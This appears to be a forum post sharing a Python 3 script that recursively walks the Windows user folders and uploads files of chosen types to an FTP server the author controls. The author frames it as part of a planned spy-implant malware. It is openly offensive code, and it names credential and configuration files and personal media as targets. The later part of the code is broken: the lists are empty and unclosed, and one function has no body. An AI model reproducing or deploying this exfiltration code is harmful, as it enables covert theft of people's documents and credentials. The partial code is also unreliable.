[Python3] File Exfiltrator to FTP
[Python3] File Exfiltrator to FTP

With a bit of inspiration from the book "Blackhat python" I've decided to make a small script that exfiltrates files and documents after your liking to an ftp server of your choice. Going to upload this script later to GS-Devs github. Will probably also add this as a part of a larger spy-implant malware which I'll release open source later (for learning purposes Smile).

Add your own ftp details and filetypes.
For testing I used https://bakop.com which has 500mb free storage.

import os, fnmatch, ftplib, time

#Start FTP Session - Credentials
session = ftplib.FTP('server','username','password')

#Exfiltrate and send file based on filetype.
def exfiltrate(filetype):
    for parent, directories, filenames in os.walk("C:\\Users\\"):
        for filename in fnmatch.filter(filenames, "*%s" % filetype):
            document_path = os.path.join(parent, filename)
            time.sleep(0.2) #Give ftp 200ms to relax. Change or remove based on your rate-limits.
            ftpsend = open(document_path,'rb')
            session.storbinary('STOR %s' % filename, ftpsend) #FTP STOR command.
#Test file. So you wont send 1000 files during testing.
test_list = [
#List of filetypes for documents.
doc_list = [

#List of filetypes for common credentialstorage and configuration files.
cred_list = [

#Personal files like pictures and media.
personal_list = [


#List of random project files for development.
project_list = [

#Function for exfiltrating lists of filetypes.
def exfiltratelist(filelist):
    for i in filelist:

#Call test exfiltration

#Quit FTP Session